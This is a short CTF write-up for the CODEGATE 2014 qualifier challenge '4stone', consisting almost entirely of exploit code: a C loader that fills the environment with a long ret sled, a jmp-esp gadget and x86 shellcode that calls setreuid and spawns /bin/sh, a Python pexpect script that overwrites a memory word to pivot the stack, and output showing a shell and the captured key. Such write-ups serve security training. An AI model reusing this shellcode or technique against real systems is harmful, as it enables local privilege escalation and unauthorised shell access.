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CODEGATE CTF 2014 QUAL - 4stone 본문

CTF

CODEGATE CTF 2014 QUAL - 4stone

pwn3r 2014.04.20 14:20

Category : Pwnables 


4stone


Summary : clear game, overwrite any 4byte memory except 0x0804XXXX, _exit calls %gs + 0x14, lift esp + ret sleding





loader.c

#include <stdio.h>

#define RET "\x20\x99\x04\x08"  // 0x08049920  retn

#define RET16  RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET RET 

#define JMPESP  "\x7d\x2a\x08\x40"  //  0x40082a7d:   jmp    *%esp

#define SHELLCODE "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"


char *args[] = { "TERM=xterm", RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 

RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16 RET16  RET16 RET16 RET16 RET16 RET16 JMPESP SHELLCODE,"","","","","","","","","","","","","","","","","","","","","","","","","","","","","","","","","","",NULL};


int main(int argc, char **argv, char **envp)

{

    execve("/home/4stone/4stone",argv, args);

}




Exploit

#!/usr/bin/python


from pexpect import spawn

import time


#a = "0x400dd8a2"

a = "0x4013adaf" 

"""

0x4013adaf <__GI_execle+207>: add    $0x102c,%esp

0x4013adb5 <__GI_execle+213>: pop    %ebx

0x4013adb6 <__GI_execle+214>: pop    %esi

0x4013adb7 <__GI_execle+215>: pop    %edi

0x4013adb8 <__GI_execle+216>: pop    %ebp

0x4013adb9 <__GI_execle+217>: ret 

"""


child = spawn('./loader 0x402396d0') # gs:0x14 => 0x402396d0

child.expect('ENTER')


child.send("\n")


child.send("l")

child.send("\n")

child.send("l")

child.send("l")

child.send("l")

child.send("\n")


child.send("l")

child.send("l")

child.send("\n")



child.send("l")

child.send("\n")


child.send("h")

child.send("\n")


child.send("\n")


child.send(a+"\n")

child.send(a+"\n")

child.interact()


s.close()



you win! 0 seconds


0x4013adaf

$ id   

uid=1003(4stone) gid=1004(guest) groups=1003(4stone),1004(guest)

$ cat /home/4stone/key

gARBAG3_hOL3_R4bB1T_R5BBIT


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